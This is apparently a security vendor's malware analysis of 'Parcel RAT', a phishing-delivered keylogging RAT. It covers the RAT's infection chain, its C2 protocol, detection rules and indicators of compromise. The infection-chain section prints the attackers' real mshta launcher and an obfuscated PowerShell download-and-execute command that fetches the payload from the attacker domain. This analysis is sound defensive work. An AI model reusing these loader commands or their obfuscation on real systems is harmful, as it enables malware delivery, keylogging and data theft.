Parcel RAT

April 1, 2022 by Blake Eakin

Executive Summary

On March 29th, the CRU was alerted to the activity of an attempt to download and run a simple RAT with keylogging, screen capture, and remote powershell execution features. Further tracing of similar files and domains showed a campaign to disperse the keylogging RAT going back to at least March 2020. It was distributed via a ".zip" file containing multiple ".lnk" files. We did not have visibility into the method through which this was initially downloaded on the host, but based on the context around the naming of the files it appears to have been from a phishing email claiming they were shipped an incorrect order. We did not find any previous reporting on this particular RAT based on anything uncovered from our analysis, so we are referring it to Parcel RAT based on the consistent use of this same phishing lure to deliver it.

Infection Chain

The incident began with the user downloading the compressed file "Wrong parcel.zip", which contained the following ".lnk" files:

  • Items inside.lnk
  • Photo.lnk
  • Box and labels outside.lnk

Opening any of the ".lnk" files resulted in the same command being executed to run mshta to run a remote script. That script, in turn, uses ActiveX to run an obfuscated PowerShell script that then downloads and executes the RAT payload.

 
"C:\Windows\System32\cmd.exe" /c "set a=start ms&&set b=hta ht&&set c=tps://&&set d=g2-web[.]xyz/xcdoc/webdoc721.html&&call set f=%a%%b%%c%%d%&&call %f%"&&exit
 
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -c "SV P72 'https://g2-web[.]xyz/xcdoc/kfzmnxofzaXK.html';SI Variable:\1J6 'Net.WebClient';ls pena*;SV h (&(Variable *cut*t).Value.InvokeCommand.(((Variable *cut*t).Value.InvokeCommand.PsObject.Methods|Where{(GI Variable:/_).Value.Name-clike'*md*t'}).Name).Invoke((Variable *cut*t).Value.InvokeCommand.(((Variable *cut*t).Value.InvokeCommand.PsObject.Methods|Where{(GI Variable:/_).Value.Name-clike'*Com*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE))(DIR Variable:\1J6).Value);Set-Variable B1 ((((Variable h -Va)|Member)|Where{(GI Variable:/_).Value.Name-clike'*wn*d*a'}).Name);&(Variable *cut*t).Value.InvokeCommand.(((Variable *cut*t).Value.InvokeCommand.PsObject.Methods|Where{(GI Variable:/_).Value.Name-clike'*md*t'}).Name).Invoke((Variable *cut*t).Value.InvokeCommand.(((Variable *cut*t).Value.InvokeCommand.PsObject.Methods|Where{(GI Variable:/_).Value.Name-clike'*Com*e'}).Name).Invoke('I*-E*n',1,1))([String]::Join('',(((Variable h -Va).((LS Variable:/B1).Value).Invoke((ChildItem Variable:\P72).Value)|%%{(LS Variable:/_).Value-As'Char'}))))"

This stage contains the RAT's C# code encrypted and base64 encoded inside of a PowerShell script. The script decrypts the payload and uses the "Add-Type" cmdlet that compiles its classes into the PowerShell session to run from memory. Then one of the RAT's methods is called with hardcoded parametersrat_payload.png


Technical Analysis

Initialization and C2 Communication Loop

The RAT itself is rather simple. Only names have been obfuscated in the code, which makes it easy to follow, and its capabilities are limited. The initial method that was called in the previous stage runs the main loop for communicating with the C2 server. The parameters passed to the method represent the C2 domain, a string that will be used in generating an XOR key, and a delay period. The method begins by setting a certificate callback method that will always return true, so that it will accept any certificates. Then some configuration settings are set from the parameters that were passed in and a 16 character random ID is generated for the compromised host. Using that ID and a string of system state information in the format "COMPUTERNAME USERDOMAIN\USERNAME", the compromised host is registered with the C2 server.

From there an asynchronous keylogging thread is started and the C2 communication loop begins. It polls the C2 server for responses after waiting for the previously set delay time and waits for one of four responses. Either it will receive a "delay" command that will adjust the delay between when it polls the C2. It can receive a "screenshot" command that will execute a routine for sending a screenshot back to the C2. An "exit" command simply ends the execution. Or, finally, an absence of any of those commands will cause an attempt to run the data passed to it as a PowerShell script.

main_routine.png

Keylogger

The keylogger runs in a thread separate from the C2 loop and uses a "Timer" object to send the keystrokes collected in 5 second intervals. Unlike the delay for C2 communications, this interval can not be adjusted. The keylogging loop constantly runs and loops over each key checking if they are in the down state using "GetAsyncKeyState". The text of the current window title bar is tracked and verified every time a left or right click is detected (which would miss change of window focus due to keyboard shortcuts). The code for the down key gets translated into a human readable representation and added to an array. Every 5 seconds, the array of logged keys is base64 encoded and sent to the C2 server with a "userinput" command and a GUID to identify it.

keylogger_routine.png

Screen Capture

The RAT has the capability to take screen captures of all the displays available. When it receives a "screenshot" command from the C2, it runs a routine that iterates through each display and captures the screen with the "CopyFromScreen" method and saves the screen images in "png" format in memory. Then each is base64 encoded and sent to the C2 server with a new GUID to identify it.

screencapture_routine.png

PowerShell Execution

If there are not any commands sent from the C2, then the RAT will attempt to run whatever data it receives as a PowerShell script. It accomplishes this by making use of C# "Runspace" class to create a PowerShell pipeline. It adds all of the data sent from the C2 to the pipeline and ends it with an "Out-String" cmdlet to convert the output to a string instead of receiving it as an object in order to make it easier to send back to the C2. The results are appended together and then sent to the C2 with the same GUID the RAT agent received.

runpowershell_routine.png

C2 Communication

The RAT communicates with the C2 through HTTP to non-standard port 5327. The routine that handles the communication takes in a message and GUID. It will XOR encrypt the message and then build an HTTP POST request. The URL it will POST to will contain the domain originally passed to the RAT with a randomly generated path of length 1-16 characters long. The "User-Agent" string used will be the OS version of the compromised host that is returned from "Environment.OSVersion". Interestingly, even though the RAT will send requests to a domain passed to it, it still uses a hardcoded domain for its "Host" header, which matches the one passed as a parameter in this case. The encrypted message is base64 encoded and inserted into a structure containing the message, compromised host ID, and the messages GUID. This structure is serialized, and finally the request is shipped off to the C2 server. The routine also follows this by checking for a response and returning that from the function.

c2comm_routine.png

Detections

Host Detections

The following detection signatures are available in the ConnectWise CRU collection in the Perch Marketplace.

  • [CRU][Windows] Suspicious mshta.exe HTTP Requests
  • [CRU][Windows] Powershell Executed with Truncated Parameters

Network Detections

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"[ConnectWise CRU] Potential Parcel RAT C2 Traffic User-Agent (Microsoft Window NT x.x.x.x)"; flow:established, to_server; http.user_agent; content:"Microsoft|20|Windows|20|NT|20|"; startswith; pcre:"/^\d*\.\d*\.\d*\.\d*$/R"; tag:session,5,packets; reference:url,www.connectwise.com/resources/parcel-rat; classtype:command-and-control; sid:900583; rev:1; metadata: created_at 2022_04_1, updated_at 2022_04_1, mitre_tactic_id TA0011, mitre_tactic_name Command_and_Control;)

MITRE Techniques

TA0002 - Execution

  • T1204.002 - User Execution: Malicious File
  • T1059.001 - Command and Scripting Interpreter: PowerShell

TA0005 - Defense Evasion

  • T1218.005 - Signed Binary Proxy Execution: Mshta
  • T1027.004 - Obfuscated Files or Information: Compile After Delivery

TA0009 - Collection

  • T1056.001 - Input Capture: Keylogging
  • T1113 - Screen Capture

TA0010 - Exfiltration

  • T1041 - Exfiltration Over C2 Channel

TA0011 - Command and Control

  • T1071.001 - Application Layer Protocol: Web Protocols
  • T1131.001 - Data Encoding: Standard Encoding
  • T1573.001 - Encrypted Channel: Symmetric Cryptography
  • T1571 - Non-Standard Port

Indicators of Compromise

  • bbca09c355a3be0f26d8db4897f53aaf336256424a8803765c6c5216c2635afc Wrong parcel.zip
  • e8ca4eb33c5bb7c94b4690599f0ad739312fea0b3777a8d7ecdf11502112ccd0 kfzmnxofzaXK.html
  • 0a46a2a681c8a775efa7badc5c3d6e2e3dfd7b0d13c90b03d877abbce85b854c webdoc721.html
  • g2-web[.]xyz
  • 185.154.13[.]51